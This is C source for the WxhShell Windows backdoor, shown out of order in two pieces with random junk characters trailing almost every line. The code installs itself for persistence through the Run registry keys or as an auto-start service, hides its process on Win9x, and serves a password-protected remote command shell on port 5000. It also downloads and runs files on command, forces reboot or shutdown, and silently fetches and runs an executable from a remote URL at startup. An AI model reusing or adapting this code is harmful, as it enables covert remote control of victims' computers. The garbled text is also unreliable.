    if(Boot(SHUTDOWN)) z*9 ke  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JY~CMR5#.O  
    else { s#(%u t  
    closesocket(wsh); H5o=nWQ6e  
    ExitThread(0); ;kT~&.,y  
    } 6& 6|R3  
    break; o^r\7g6\  
    } v2="j  
  // 获取shell 'E\4/0 !  
  case 's': { su3Wk,MLP  
    CmdShell(wsh); xJA{Hws  
    closesocket(wsh); oArJ%Y>  
    ExitThread(0); `; j$]  
    break; 3e1P!^'\  
  } w"? RbA  
  // 退出 LC\U6J't1  
  case 'x': { TO G:N~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !0F+qzGG7  
    CloseIt(wsh); G^eXJusOv  
    break; KKWv V4u  
    } EBr?>hl  
  // 离开 ;V?d;O4u  
  case 'q': { pbw{EzM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kx?8 HA[5  
    closesocket(wsh); _rmKvSD%  
    WSACleanup(); RaP,dR+P  
    exit(1); Ys&)5j-  
    break; ;k ,@^f8  
        } ? PpS4Rd  
  } e*U6^Xex  
  } s'$2 }K  
R'" c  
  // 提示信息 syI|gANT/r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'g3T'2"`5  
} +(^H L3  
  } 9[sOh<W  
u(\O@5a  
  return; -Zp BYX5e_  
} !SIk9~rJ  
|.L_c"Bc  
// shell模块句柄 dlIYzO<  
int CmdShell(SOCKET sock) 0?dr(   
{ ia_l P  
STARTUPINFO si; "M3;>"`G  
ZeroMemory(&si,sizeof(si)); (t@ :dW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S5d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \f)GW$`  
PROCESS_INFORMATION ProcessInfo; %$i}[ U  
char cmdline[]="cmd"; W+$G{XSr5C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =%c\<<]aV  
  return 0; PC|ul{[*}  
} .t/@d(R  
,Q0H)// ~  
// 自身启动模式 M |f V7g  
int StartFromService(void) V Ew| N)  
{ t[@>u'YKt  
typedef struct b};o:  
{ Hmnxm gx  
  DWORD ExitStatus; z,4 D'F&  
  DWORD PebBaseAddress; oR/_{#Mz"  
  DWORD AffinityMask; \ Ce*5h  
  DWORD BasePriority; )a x>*  
  ULONG UniqueProcessId; /?($W|9+l  
  ULONG InheritedFromUniqueProcessId; ;mvVo-r*q  
}   PROCESS_BASIC_INFORMATION; +.OdrvN4)  
HrfS^B  
PROCNTQSIP NtQueryInformationProcess; 9%1J..c  
't5`Ni  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m^=El7+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N/--6)5~0  
T[#q0bv  
  HANDLE             hProcess; y%spI/(  
  PROCESS_BASIC_INFORMATION pbi; &;=/^~EG  
_A] )q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ic"8'Rwb  
  if(NULL == hInst ) return 0; tC5-^5[y  
UGj |)/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fc9@l a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]5Dh<QY&.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -V;BkE76  
Hmt2~>FI[  
  if (!NtQueryInformationProcess) return 0; Ak8Y?#"wz  
 Ip:54  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wy0?*)~  
  if(!hProcess) return 0; #V%98|"  
v(!:HK0oeT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YRFz ]  
w( _42)v]g  
  CloseHandle(hProcess); ZfK[o{9>  
!?/:p.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =:]v~Ehq  
if(hProcess==NULL) return 0; :9Jy/7/  
/zoy,t-i  
HMODULE hMod; ??U/Qi180  
char procName[255]; cD}]4  
unsigned long cbNeeded; H-U_  
V)N{Fr)&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XmwAYf  
u3GBAjPsIk  
  CloseHandle(hProcess); ~BX=n9  
[/%N2mj  
if(strstr(procName,"services")) return 1; // 以服务启动 e}S+1G6r)  
f'H|K+bO  
  return 0; // 注册表启动 >]z^.U7=  
} Z6A-i@  
nSC2wTH!1  
// 主模块 F= %A9b_a  
int StartWxhshell(LPSTR lpCmdLine) ?Ve I lD  
{ GNe^ ~  
  SOCKET wsl; Y)+q[MZ R  
BOOL val=TRUE; +yHz7^6-5  
  int port=0; c38XM]Jeq  
  struct sockaddr_in door; 4=MjyH|[Jx  
CgrQ" N5  
  if(wscfg.ws_autoins) Install(); H(rD*R[  
XNv2xuOcJ  
port=atoi(lpCmdLine); ^W,5A;*3  
(6Z^0GL  
if(port<=0) port=wscfg.ws_port; +E_yEH7_)  
|E.BGdS  
  WSADATA data; [nPs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /:' >-253  
n2hV}t9O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >([,yMIY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3m` >D e  
  door.sin_family = AF_INET; ~IS8DW$;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fyA-*)oHv  
  door.sin_port = htons(port); KP>9hEh  
$[n:IDa*@1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T?t/[iuHrj  
closesocket(wsl); .8Bo5)q$a-  
return 1; Zrr)<'!i  
} d%"XsbO  
LzNfMvh  
  if(listen(wsl,2) == INVALID_SOCKET) { \/o$io,kV  
closesocket(wsl); #c>GjUJ.w  
return 1; $t(v `,  
} '.(Gg%*\.  
  Wxhshell(wsl); h%Nd89//  
  WSACleanup(); ,7]hjf_h  
A>1$?A8Q  
return 0; O9(z"c  
I}3F'}JV<  
} g}xL7bTlI>  
Oo}h:3?  
// 以NT服务方式启动 bYnq,JRA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P<<+;']  
{ !}#> ky!t  
DWORD   status = 0; ]A'{DKR  
  DWORD   specificError = 0xfffffff; D3X4@sM  
L ,dh$F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d*0 RBgn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `KFEzv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8b)WOr6n  
  serviceStatus.dwWin32ExitCode     = 0;  JhFbze>  
  serviceStatus.dwServiceSpecificExitCode = 0; |JxVfX8^  
  serviceStatus.dwCheckPoint       = 0; uK2HtRY1  
  serviceStatus.dwWaitHint       = 0; {E:`  
gM\>{ihM'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pOc2V  
  if (hServiceStatusHandle==0) return; 5mD8$% \8  
ir_XU/ve  
status = GetLastError(); a (~Y:v  
  if (status!=NO_ERROR) >+P}S@  
{ ?K>)bA&l'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2@<_,'  
    serviceStatus.dwCheckPoint       = 0; 49~d6fH  
    serviceStatus.dwWaitHint       = 0; H@=oVyn/  
    serviceStatus.dwWin32ExitCode     = status; ZH_$Q$9  
    serviceStatus.dwServiceSpecificExitCode = specificError; (?7=,A7^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^w60AqR8  
    return; HcsV q+  
  } L7-BuW}&  
1 :p'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ew~Z/ A   
  serviceStatus.dwCheckPoint       = 0; >v.f H6P,}  
  serviceStatus.dwWaitHint       = 0; P1Hab2%+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wtY)(k a  
} sFTAE1|  
j Q5F}  
// 处理NT服务事件,比如:启动、停止 zjQ746<&)i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 73;Y(uh9  
{ Q[biy{(b8  
switch(fdwControl) H9/!oI1P?  
{ rx1u*L  
case SERVICE_CONTROL_STOP: D_DwP$wSo  
  serviceStatus.dwWin32ExitCode = 0; ub-3/T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [a2]_]E%  
  serviceStatus.dwCheckPoint   = 0; ""0 Y^M2I  
  serviceStatus.dwWaitHint     = 0; Rql/@j`JX  
  { mgAjD.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yYA*5 7^A  
  } V`^*Z}d9  
  return; ,t9EL 21  
case SERVICE_CONTROL_PAUSE: @N4_){s*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 79v+ze  
  break; SK}sf9gTv  
case SERVICE_CONTROL_CONTINUE: qzUiBwUi@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y2jv84 M  
  break; _O`p(6  
case SERVICE_CONTROL_INTERROGATE: .~f )4'T 9  
  break; R^l0Bu]X  
};  '"B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kjd3!%4mB  
} Qr$'Q7  
:y-;V  
// 标准应用程序主函数 An. A1y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xE:jcA d$}  
{ 1=R$ RI  
)D+BvJ Y"  
// 获取操作系统版本 $ZM'dIk?  
OsIsNt=GetOsVer(); {N4 'g_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4z0gyCAC A  
>n"0>[:4  
  // 从命令行安装 Nn LK!Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); oy^-?+   
$hhXsu=  
  // 下载执行文件 XV]N}~h o`  
if(wscfg.ws_downexe) { sgfqIe1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z &EDW 5I  
  WinExec(wscfg.ws_filenam,SW_HIDE); &=g3J4$z  
} * ,a F-  
0= $/  
if(!OsIsNt) { ~ WWhCRq  
// 如果时win9x,隐藏进程并且设置为注册表启动 tvI<Why\p  
HideProc(); rl|'.~mc  
StartWxhshell(lpCmdLine); ?^Rp" H   
} D S U`(`  
else 0/R;g~q@  
  if(StartFromService()) Msqqjhoy  
  // 以服务方式启动 >+M[!;m}  
  StartServiceCtrlDispatcher(DispatchTable); jY=y<R_oK  
else YSP\+ZZ  
  // 普通方式启动 n _K1%  
  StartWxhshell(lpCmdLine); vB7Gx>BQd  
cp`J ep<T  
return 0; JwSF}kNs}  
} Cqr{Nssu  
cq I $9  
'nTlCYT  
vi##E0,N'^  
=========================================== tWIOy6`  
:r q~5hK  
*K/K97  
5iA>Z!sP[  
50_[hC&C)  
wH~A> 4*(  
" <m-(B"F X  
7Eyi~jes  
#include <stdio.h> KQf WpHwfj  
#include <string.h> )> ZT{eF  
#include <windows.h> n41#  
#include <winsock2.h> d5'Q 1"{  
#include <winsvc.h> ]o] VS  
#include <urlmon.h> Lz 1.+:Ag  
&|Gg46P7  
#pragma comment (lib, "Ws2_32.lib") r2RJb6  
#pragma comment (lib, "urlmon.lib") * :L"#20:R  
~J].~^[  
#define MAX_USER   100 // 最大客户端连接数 #*iUZo  
#define BUF_SOCK   200 // sock buffer \IL)~5d  
#define KEY_BUFF   255 // 输入 buffer |4@cX<d.  
_Raf7W  
#define REBOOT     0   // 重启 ;%n'k  
#define SHUTDOWN   1   // 关机 ~@'wqGTp  
+xYu@r%R  
#define DEF_PORT   5000 // 监听端口 YS|Dw'%g /  
$Tbsre\MJ  
#define REG_LEN     16   // 注册表键长度 5;)^o3X>  
#define SVC_LEN     80   // NT服务名长度 UT3Fi@  
u9"kF  
// 从dll定义API :rb;*nY!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }g+kU1y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mF 1f(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {!2K-7;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rUKg<]&@  
Biv)s@"f-Q  
// wxhshell配置信息 q1rj!7  
struct WSCFG { T1Py6Q,-  
  int ws_port;         // 监听端口 9Q9{>d#"  
  char ws_passstr[REG_LEN]; // 口令 _# {*I(l  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~R|9|k  
  char ws_regname[REG_LEN]; // 注册表键名 Tt: (l/1  
  char ws_svcname[REG_LEN]; // 服务名 2;Z 0pPR&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r?DCR\Jq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'l'3&.{Yfk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :ts3_-cr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A+l(ew5Lw$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )BJkHED{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %"{P?V<-V  
mqZK1<r  
}; hV@ N -u^  
ZUI6VM  
// default Wxhshell configuration qx#M6\L!  
struct WSCFG wscfg={DEF_PORT, v< P0f"GH  
    "xuhuanlingzhe", fw&*;az  
    1, 9 dNB _  
    "Wxhshell", ]gBnzh.  
    "Wxhshell", w+6P x#  
            "WxhShell Service", )WoH>D  
    "Wrsky Windows CmdShell Service", Z#.d7B"  
    "Please Input Your Password: ", *EuX7LEu_  
  1, l,o'J%<%  
  "http://www.wrsky.com/wxhshell.exe", 1]/;qNEv  
  "Wxhshell.exe" iZNS? ^U  
    }; Mxl;Im]!`.  
:)lS9<Y}  
// 消息定义模块 3wfcGQn|sD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6xDk3   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1'f_C<.0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4M&$wi  
char *msg_ws_ext="\n\rExit."; a#]V|1*O  
char *msg_ws_end="\n\rQuit."; $ W7}Igx#  
char *msg_ws_boot="\n\rReboot..."; j sPavY  
char *msg_ws_poff="\n\rShutdown..."; e 6mZ;y5_  
char *msg_ws_down="\n\rSave to "; CR$wzjP j  
(?l ]}p^[  
char *msg_ws_err="\n\rErr!"; X$@`4  
char *msg_ws_ok="\n\rOK!"; LcGKYl(\K  
I0x)d`  
char ExeFile[MAX_PATH]; i(% 2t(wf+  
int nUser = 0; 1 *' /B  
HANDLE handles[MAX_USER]; g|Lbe4?  
int OsIsNt; W.^zN'a  
#ZJ 1\Ov  
SERVICE_STATUS       serviceStatus; :6Z2@9.}w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +6uf6&.@~  
H~yHSm 3  
// 函数声明 ?pZ"7kkD  
int Install(void); _#V&rY&@  
int Uninstall(void); e:HORc~U  
int DownloadFile(char *sURL, SOCKET wsh); i+14!LlI  
int Boot(int flag); t"B3?<?]  
void HideProc(void); Ue \A ,  
int GetOsVer(void); ~Eg]Auk7  
int Wxhshell(SOCKET wsl); E_~e/y"-  
void TalkWithClient(void *cs); CT'4.  
int CmdShell(SOCKET sock); g(pr.Dw6  
int StartFromService(void); (#y2R F8j  
int StartWxhshell(LPSTR lpCmdLine); g7! LX[  
C<_\{de|9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xT 06*wQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %%K3J<5  
}Nr6oUn  
// 数据结构和表定义 XncX2E4E  
SERVICE_TABLE_ENTRY DispatchTable[] =  Z}t;:yhR  
{ MiZ<v/L2  
{wscfg.ws_svcname, NTServiceMain}, (m'-1wX.  
{NULL, NULL} #HV5M1mb  
}; H5 z1_O_+  
r[(;J0=  
// 自我安装 6?u`u t  
int Install(void)  +rv##Z  
{ 68j1s vz9  
  char svExeFile[MAX_PATH]; ,< g%}P/  
  HKEY key; PPl o0R  
  strcpy(svExeFile,ExeFile); CzG[S\{+  
d0B`5#4  
// 如果是win9x系统,修改注册表设为自启动 bit|L7*14  
if(!OsIsNt) { /Pe xtj<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sl-wNIQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]r#b:W\  
  RegCloseKey(key); D9TjjA|zS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ja~8ZrcY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ; =n}61  
  RegCloseKey(key); pyV`O[  
  return 0; #M~yt`R~  
    } +\ftSm>  
  } s=:)!M.i  
} 6hj[/O)E  
else { Y-bTKSn  
+ZbNSN=  
// 如果是NT以上系统,安装为系统服务 VLV]e_D6s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [z"E"_r~%Y  
if (schSCManager!=0) ?;o0~][!  
{ 4L,wBce;,t  
  SC_HANDLE schService = CreateService - BWf.  
  ( D]_6OlIE#'  
  schSCManager, <cOjtq,0  
  wscfg.ws_svcname, VHPqEaR  
  wscfg.ws_svcdisp, eGT&&Y  
  SERVICE_ALL_ACCESS, q6pHL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8KJ`+"<=@  
  SERVICE_AUTO_START, ' ds2\gN  
  SERVICE_ERROR_NORMAL, K&&T:'=/  
  svExeFile, 3ibQbk  
  NULL, {X<g93  
  NULL, j5DCc,s  
  NULL, G>"n6v'^d  
  NULL, Pl=)eq YY  
  NULL 1Du5Z9AM  
  ); "Bwz Fh  
  if (schService!=0) 4!Radl3`  
  { c3GBY@m  
  CloseServiceHandle(schService); `Njvk  
  CloseServiceHandle(schSCManager); YCE *Dm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C&Qt*V#,  
  strcat(svExeFile,wscfg.ws_svcname); i#4+l$q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f/c&Ya(D~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C$0u-Nx8  
  RegCloseKey(key); bM"?^\a&Q  
  return 0; P>rRD`Yy\  
    } y0Gblza  
  } ~ S<aIk0l  
  CloseServiceHandle(schSCManager);  omg#[  
} Yr"Of*VNH  
} &[{sA;  
>yKz8SV#  
return 1; QGI@5  
} %0 {_b68x  
x*:VE57,z  
// 自我卸载 EUs9BJFP  
int Uninstall(void) :l"B NT[/  
{ U"/T`f'H z  
  HKEY key; "Y^j=?1k  
Zoxblk  
if(!OsIsNt) { .`~?w+ ~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tl /i  
  RegDeleteValue(key,wscfg.ws_regname); Odwf7>  
  RegCloseKey(key); 9QX!HQ|5y8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I4%kYp]  
  RegDeleteValue(key,wscfg.ws_regname); [K,P)V>K  
  RegCloseKey(key); }F0<8L6%  
  return 0; m8PS84."]M  
  } lTu& 9)  
} ?\8  
} I5E =Ujc_  
else { 4Cu\|"5)  
d:|x e:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C{$iuus0  
if (schSCManager!=0) PX/Y?DP  
{ 1OExa<Zq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g_{N^wS  
  if (schService!=0) 6)0.q|Q  
  { ;v\s7y  
  if(DeleteService(schService)!=0) { n%29WF6Zf  
  CloseServiceHandle(schService); )V~=B]  
  CloseServiceHandle(schSCManager); s}". po]  
  return 0; l!XCYg@67  
  } L3HC-  
  CloseServiceHandle(schService); y+k^CT/u  
  } P<Bx1H-z-  
  CloseServiceHandle(schSCManager); O >+=cg  
} UFT JobU  
} p~3 x=X4  
0ZwXuq  
return 1; k L6s49  
} /d}"s.3p  
+kd1q  
// 从指定url下载文件 I;"pPJ3G  
int DownloadFile(char *sURL, SOCKET wsh) d'Bxi"K  
{ 8#JX#<HEo  
  HRESULT hr; TW>GYGz  
char seps[]= "/"; w!H(zjv&(  
char *token; >i*,6Psl[Z  
char *file; JDR_k  
char myURL[MAX_PATH]; Uc:NW   
char myFILE[MAX_PATH]; 6d/Q"As  
VQqBo~  
strcpy(myURL,sURL); G\ F>*  
  token=strtok(myURL,seps); r!f UMDS  
  while(token!=NULL) g/f6N z  
  { XxMZU(5  
    file=token; TaD;_)(  
  token=strtok(NULL,seps); 7^#f)Vp  
  } pD({"A.x9z  
UA*VqK)Y  
GetCurrentDirectory(MAX_PATH,myFILE); ,DE>:ARZ  
strcat(myFILE, "\\"); Jn=;gtD- *  
strcat(myFILE, file); 2<B'PR-??y  
  send(wsh,myFILE,strlen(myFILE),0); C`t @tgT  
send(wsh,"...",3,0); W9w*=W )Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @I-gs(  
  if(hr==S_OK) }NyQ<,+mq&  
return 0; Wgh@XB  
else 0D2I)E72o  
return 1; 8u~  
k*)sz  
} .\_RavW23  
T4wk$R L  
// 系统电源模块 F<b'{qf"  
int Boot(int flag) ':;k<(<-  
{ tgG*k$8z  
  HANDLE hToken; m=l'9j"D  
  TOKEN_PRIVILEGES tkp; M\4` S&  
@~$"&B  
  if(OsIsNt) { pml33^*<U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $4xSI"+M%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~x8nC%qPvq  
    tkp.PrivilegeCount = 1; v5'`iO0o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G*+^b'7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mTI`^e  
if(flag==REBOOT) { k2v:F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :1UMA@HP  
  return 0; 8lpAe0p(Z  
} ;_"|#  
else { ?nW>' z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b v_ UroTr  
  return 0; j~{cT/5Y_  
} h97#(_wV>  
  } 6qZ\^ U  
  else { A811VL^  
if(flag==REBOOT) { ErNYiYLi]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Oq.ss!/z  
  return 0; gEj#>=s  
} ~i;{+j6Ho!  
else { t([}a ~1}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e9[72V  
  return 0; J;obh.}u"{  
} dW4jkjap  
} [y@*vQw  
a,vS{434J  
return 1; iv$YUM+  
} +v;z^+  
;WSW&2  
// win9x进程隐藏模块 KCTX2eNN&h  
void HideProc(void) V#dga5*]  
{  '?9zL*  
h[]9F.[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6"Fn$ :l?  
  if ( hKernel != NULL ) :/|"db&`  
  { RA[j=RxK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V+Tv:a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bOj)Wu  
    FreeLibrary(hKernel); VdK%m`;2  
  } x>[]Qk^?q  
Io.RT+slB  
return; D8Fi{?A#FV  
} d{4;qM#  
GHGyeqNM  
// 获取操作系统版本 [oTe8^@[  
int GetOsVer(void) !G;u )7'v  
{ {o24A: M  
  OSVERSIONINFO winfo; ^-Od*DTL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .}!.4J%q2  
  GetVersionEx(&winfo); 7_i8'(``  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kb?{^\FiU  
  return 1; ~'_cBJ 'XD  
  else ;yJ:W8U]+;  
  return 0; w2nReB z  
} 3 39q%j$  
>lRZvf-i  
// 客户端句柄模块 pIlEoG=[_  
int Wxhshell(SOCKET wsl) H\S)a FY[  
{ 2cYBm^o|x  
  SOCKET wsh; 1/Ts .\K3  
  struct sockaddr_in client; |Ghk8 WA  
  DWORD myID; nzflUR{`-  
zi-_l  
  while(nUser<MAX_USER) #Lhv=0op  
{ G|g^yaq>  
  int nSize=sizeof(client); nQc#AFg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @yuiNj .T  
  if(wsh==INVALID_SOCKET) return 1; O]u'7nO{{  
"Q.*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R_PF*q2 '  
if(handles[nUser]==0) 5Kg'&B (  
  closesocket(wsh); @oAz  
else SB\%"nnV  
  nUser++; jn2=)KBa_  
  } ~gfR1SE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >c,s}HJ  
'Z`7/I4&  
  return 0; y"JR kJ  
} <>3)S`C`p  
IO+]^nY `  
// 关闭 socket sasurR|;  
void CloseIt(SOCKET wsh) 6z9 '|;,4  
{ TQ4@|S:OF  
closesocket(wsh); {6'X z  
nUser--; I'uwJy_I\  
ExitThread(0); WUYI1Ij;  
} 5}#wp4U  
$`F9e5}G  
// 客户端请求句柄 ^LMgOA(7  
void TalkWithClient(void *cs) bKo %Ak,  
{ 8 t5kou]h  
11=$] K>  
  SOCKET wsh=(SOCKET)cs; EA& 3rI>U)  
  char pwd[SVC_LEN]; xl\Kj2^  
  char cmd[KEY_BUFF]; m^_=^z+  
char chr[1]; Jxe+LG  
int i,j; l[}4 X/  
c2npma]DZ  
  while (nUser < MAX_USER) {  z:,PwLU  
y }odTeq  
if(wscfg.ws_passstr) { Zzlf1#26\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ nsb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4V,.Oi  
  //ZeroMemory(pwd,KEY_BUFF); gF)9a_R%p  
      i=0; "%-Vrb=:Y  
  while(i<SVC_LEN) { 5>x_G#W  
h|qJ{tUWc$  
  // 设置超时 vQMBJ&  
  fd_set FdRead; `R[Hxi  
  struct timeval TimeOut; }E 'r?N  
  FD_ZERO(&FdRead); bNea5u##  
  FD_SET(wsh,&FdRead); Aedf (L7\  
  TimeOut.tv_sec=8; Ww7Ya]b.k  
  TimeOut.tv_usec=0; I~GF%$-G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iM+` 7L'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -JMn?]  
-pu5O 9 @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wc3z7xK1@  
  pwd=chr[0]; HK@ij,px  
  if(chr[0]==0xd || chr[0]==0xa) { .Bm%  
  pwd=0; "j^i6RS  
  break; ( ay AP  
  } fj_23{,/"g  
  i++; {7NGfzwp;6  
    } >fPo_@O  
QZ a.c  
  // 如果是非法用户,关闭 socket /DYyl/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X]0>0=^  
} ZaFt4#  
yayhL DL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ed9Uw 7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D|;O9iks#  
6%v9o?:~l  
while(1) { @R[{  
JB_fS/I  
  ZeroMemory(cmd,KEY_BUFF); /).{h'^Hq\  
R?{+&r.X  
      // 自动支持客户端 telnet标准   CKsVs.:u  
  j=0; -pC8 L<  
  while(j<KEY_BUFF) { 7{;it uqX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?"B] "%M&  
  cmd[j]=chr[0]; @YJI'Hf67  
  if(chr[0]==0xa || chr[0]==0xd) { :D.0\.p  
  cmd[j]=0; =*mT{q@  
  break; ~ Z\:Nx  
  } =6%oW2E\  
  j++; 22\!Z2@T/  
    } R@vcS=m7  
E[H  
  // 下载文件 FKa";f"  
  if(strstr(cmd,"http://")) { .|UQ)J?s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {Cx5m   
  if(DownloadFile(cmd,wsh)) xUo6~9s7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k:@DK9 "^  
  else $<}c[Nm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #~u0R>=  
  } ahB qYA K9  
  else { {1W:@6tl  
